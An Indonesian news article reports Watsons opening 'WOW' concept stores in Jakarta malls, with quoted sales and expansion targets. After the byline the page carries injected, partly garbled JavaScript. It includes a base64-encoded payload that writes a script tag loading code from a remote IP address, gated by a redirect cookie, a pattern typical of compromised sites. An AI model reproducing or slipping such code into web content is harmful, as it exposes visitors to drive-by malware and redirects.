Watsons, perusahaan ritel untuk produk-produk kecantikan dan kesehatan (Beauty and Health), meresmikan gerai terbarunya dengan konsep WOW (Word of Watsons) di Mal Pondok Indah 2 dan Mal Kelapa Gading 3, Jakarta, pada Kamis (19/9). Lewat konsep baru ini, Watson pun menargetkan pertumbuhan penjualan 200-300 persen.
Di tahun 2015, Watsons Indonesia menargetkan akan memilki 100 gerai yang tersebar di seluruh wilayah Indonesia.
“Tahun 2012 lalu, di pasar beauty and health, Watson tumbuh sekitar 12-15 persen. Di tahun ini, kami menargetkan penjualan kami meningkat 2 hingga 3 kali lipat,” ungkap Glenn Manengkei, Marketing Manager Watsons Indonesia saat peresmian gerai baru Watson yang juga dihadiri oleh Brand Ambassador Makarizo—salah satu produk perawatan rambut yang dijual di Watsons—, Nikita Willy.
Untuk mencapai target tersebut, Watson Indonesia—yang saat ini memiliki 25 gerai ritel di wilayah Jakarta, Tangerang, Depok, Bekasi dan Bandung—akan melakukan ekspansi. Diantaranya, dengan menambah 8 gerai baru sampai akhir 2013, dan 30 gerai baru di tahun 2014. “Sehingga, gerai Watson ditargetkan akan mencapai 100 gerai di tahun 2015,” ujar Glenn.
Terkait konsep WOW, Glenn mengatakan, “Kami ingin saat customer datang ke Watson ada ekspresi WOW, which is WOW itu singkatan dari Word of Watsons. Kenapa bisa dibilang WOW? Pertama, jelas dengan konsep yang lebih terang, yang lebih ramah, itu mungkin bisa dilihat di gerai Watsons terbaru dimana kini kami punya ciri khas tersendiri.”
Sementara itu, Kyu Tae Park, Country Manager Watsons Indonesia mengatakan, pembukaan Watsons WOW Store bertujuan untuk meningkatkan Brand Awareness di pasar, dan diharapkan dapat meningkatkan penjualan. Rencananya, konsep WOW Store yang berasal dari Watson pusat di Hongkong ini juga akan diterapkan di setiap gerai Watsons di seluruh Indonesia.
Saat ini, Watsons telah mengoperasikan 3.500 gerai ritel dan 900 gerai ritel farmasi di pasar Asia dan Eropa. Sejak tahun 2009, Watsons telah menjadi merek nomor 1 dari 1000 merek farmasi dan gerai ritel obat di Asia berdasarkan survei terhadap 5000 orang Asia di tahun 2012. (Marina) function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)
